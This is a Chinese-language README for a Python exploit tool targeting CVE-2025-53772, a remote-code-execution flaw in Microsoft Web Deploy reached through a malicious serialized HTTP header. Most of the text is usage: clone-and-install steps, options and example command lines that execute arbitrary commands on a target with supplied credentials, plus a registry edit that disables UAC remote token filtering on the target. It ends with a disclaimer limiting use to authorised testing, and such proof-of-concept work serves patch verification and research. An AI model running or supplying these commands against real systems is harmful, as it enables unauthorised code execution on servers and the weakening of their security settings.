
cve-2025-53772 的 PoC
一个基于 Python 的 CVE-2025-53772 漏洞利用程序,该漏洞是 Microsoft Web Deploy (msdeploy) 中因 HTTP 头数据的不安全反序列化而导致的远程代码执行漏洞。

| 属性 | 值 |
|---|---|
| CVE ID | CVE-2025-53772 |
| CVSS 评分 | 8.8 (高危) |
| 受影响产品 | Microsoft Web Deploy 4.0 |
| 受影响版本 | < 10.0.2001 |
| 已修复版本 | 10.0.2001+ |
| 漏洞类型 | 不可信数据反序列化 (CWE-502) |
| 认证要求 | 需要(低权限) |
该漏洞存在于 MSDeploy.SyncOptions HTTP 头的反序列化过程中。当发送特制载荷时,服务器使用 BinaryFormatter 对其进行反序列化,通过 TypeConfuseDelegate 小工具链触发任意代码执行。
攻击者 目标服务器
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <恶意载荷> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ 实现 RCE!
| 端点 | 端口 | 协议 | 认证类型 |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# 在 C:\Windows\Temp\pwned.txt 中创建证明文件
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target 目标 IP 或主机名(必需)
-u, --user 用户名(必需)
-P, --password 密码(必需)
--port 目标端口(默认:80)
--endpoint 端点路径(默认:/MSDEPLOYAGENTSERVICE)
--ntlm 使用 NTLM 认证(Agent Service 必需)
--calc 执行 calc.exe
--proof-temp 创建 C:\Windows\Temp\pwned.txt
--proof-web 创建 C:\inetpub\wwwroot\pwned.txt
-c, --command 要执行的自定义命令
--generate-only 仅生成载荷,不发送
-o, --output 将载荷保存到文件
# 弹出计算器
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# 在临时文件夹中创建证明文件
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# 在 Web 根目录中创建证明文件(通过浏览器验证)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# 执行自定义命令
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# 仅生成载荷(不发送)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# 使用 msdeploy.axd 端点(不带 --ntlm 标志)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
运行漏洞利用后,在目标上验证执行情况:
# 检查证明文件
type C:\Windows\Temp\pwned.txt
# 或者通过浏览器(如果使用了 --proof-web)
# 导航到:http://<TARGET>/pwned.txt
如果使用 Agent Service 与 NTLM 并返回 401:
# 在目标上禁用 UAC 远程过滤:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
IIS 处理程序可能未注册。请改用 Agent Service 端点:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# 检查已安装版本
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# 如果 < 10.0.2001 则存在漏洞
本工具仅用于授权安全测试和教育目的。未经授权访问计算机系统是违法的。在测试之前,请务必获得适当授权。
MIT License